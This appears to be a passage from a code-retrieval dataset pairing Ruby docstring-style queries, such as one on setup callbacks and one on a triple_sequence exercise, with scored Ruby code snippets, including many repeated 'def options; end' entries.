"711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.580093", "text": "def options; end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "96333ae3b8ce72fa6d23a2469715e4f0", "score": "0.0", "text": "def set_navbar\n @navbar = Navbar.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.60339177", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.60135007", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219855", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.5913137", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.589884", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5889191", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58780754", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.5863248", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.58094144", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.57375425", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.57285565", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.57149214", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.56900954", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56665677", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651118", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5648135", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.56357735", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5627078", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.5608873", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598699", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.5598419", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589822", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.5558845", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.55084664", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5504379", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465574", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5464707", "text": "def on_setup(&block); end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.54471064", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54455084", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.5437386", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.54160327", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5397424", "text": "def post_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.5392518", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.5385411", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.53487605", "text": "def register_action(action); end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.5346655", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53448105", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5342072", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.5341318", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53243506", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53025913", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5283114", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5282289", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52585614", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52571374", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.52483684", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.5244467", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.5236853", "text": "def after_setup\n end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52330637", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52300817", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.522413", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.521999", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.5215832", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.5213786", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52100146", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.52085197", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.5203262", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5202406", "text": "def performed(action)\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.520174", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.5201504", "text": "def create_setup\n \n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.51963276", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.5191404", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.5178325", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51765746", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162045", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.5150735", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.5143402", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
9873596b0c3fd6c8877d591b91bd6f89
Write a method triple_sequence that takes in two numbers, start and length. The method should return an array representing a sequence that begins with start and is length elements long. In the sequence, every element should be 3 times the previous element. Assume that the length is at least 1. input type : 2 numbers (start, length) output(to return) type : number / a new array My solution Step 1
[ { "docid": "6f61faf106b67a6e9d6d77ccfa46c419", "score": "0.9193438", "text": "def triple_sequence(start, length)\n\n new_arr = []\n new_arr << start\n start = start * 3\n new_arr << start \n start = start * 3\n new_arr << start \n start = start * 3 \n new_arr << start \n\n return new_arr\n\nend", "title": "" } ]
[ { "docid": "30754426ba532114613ab09bd52ee01e", "score": "0.9210714", "text": "def triple_sequence(start, length)\n \tarry = []\n\t(1..length).each do | count|\n\n if count == 1\n arry << start\n else\n arry << arry[count-2] * 3\n end\n end\n return arry\nend", "title": "" }, { "docid": "88b8a7704e149e21757a18e69aa1f83f", "score": "0.9150274", "text": "def triple_sequence(start, length)\n\tarr = [start]\n \t(1...length).each do |item|\n \tarr.push(arr[-1]*3)\n end\n \treturn arr\nend", "title": "" }, { "docid": "2deda35fdbcc344cb5efc07482acd7f1", "score": "0.91406924", "text": "def triple_sequence(start, length)\r\n sequence = []\r\n length.times do |i|\r\n if i == 0\r\n sequence[i] = start\r\n else\r\n sequence[i] = sequence[i-1] * 3\r\n end\r\n end\r\n return sequence\r\nend", "title": "" }, { "docid": "114b22d37d811eddda6876804310bbe3", "score": "0.91371393", "text": "def triple_sequence(start, length)\n\n new_arr = []\n new_arr << start\n (1..length-1).each do |num|\n start *= 3\n new_arr << start\n end\n return new_arr\n\nend", "title": "" }, { "docid": "d07a1c73b3a1075f97804b4317fb58c2", "score": "0.896072", "text": "def triple_sequence(start, length)\n\n new_arr = [start]\n #new_arr << start\n (1..length-1).each do |num|\n start *= 3\n new_arr << start\n end\n return new_arr\n\nend", "title": "" }, { "docid": "97cba233f612bc839d5a4357e37a5358", "score": "0.878411", "text": "def triple_sequence(start, length)\n seq = [start]\n while seq.length < length\n seq << seq[-1] * 3\n end\n\n return seq\nend", "title": "" }, { "docid": "ec6e769a3bb5bcac4eeef9fa3904ebc4", "score": "0.69594735", "text": "def sequence3(number)\n array = []\n 1.upto(number) { |num| array << num }\n array\nend", "title": "" }, { "docid": "f41ec4b80df2a4c7599018b0864d8305", "score": "0.6952337", "text": "def sequence(count, start)\n return [] if count == 0 \n sequence_array = []\n iterator = 1\n count.times do\n sequence_array << start * iterator \n iterator += 1 \n end \n sequence_array\nend", "title": "" }, { "docid": "eae66e983187461522bce11f8e375da8", "score": "0.69304556", "text": "def sequence(length, step)\n Array.new(length) { |idx| (idx + 1) * step }\nend", "title": "" }, { "docid": "69cc0d5bafb34d5e8c21b20121c66680", "score": "0.6880393", "text": "def triangle_sequence(nth)\n sequence = []\n (1..nth).each do |x|\n sequence.push( x * (x + 1) / 2 )\n end\n return sequence\nend", "title": "" }, { "docid": "30b3062ed6b53729483b9e11fca6da89", "score": "0.68773013", "text": "def sequence(count, startnum)\n sequence_array = []\n multiple = 1\n \n until count == 0\n sequence_array << startnum * multiple\n count -= 1\n multiple += 1\n end\n \n sequence_array\nend", "title": "" }, { "docid": "004fbc1ad86863cc2f168cf7064b2d55", "score": "0.683127", "text": "def sequence(count, start_number)\n array = []\n count.times { |i| array << (start_number * (i + 1)) }\n array\nend", "title": "" }, { "docid": "03eb592d3063c5de43d24e70c23dc065", "score": "0.6721819", "text": "def sequence3(num)\n (1..num).each_with_object([]) do |n, arr|\n arr << n\n end\nend", "title": "" }, { "docid": "96dafb1b20a5bef12b0fef32bc8d4b07", "score": "0.67026514", "text": "def lucas_sequence(length)\n return [] if length == 0\n return [2] if length == 1\n 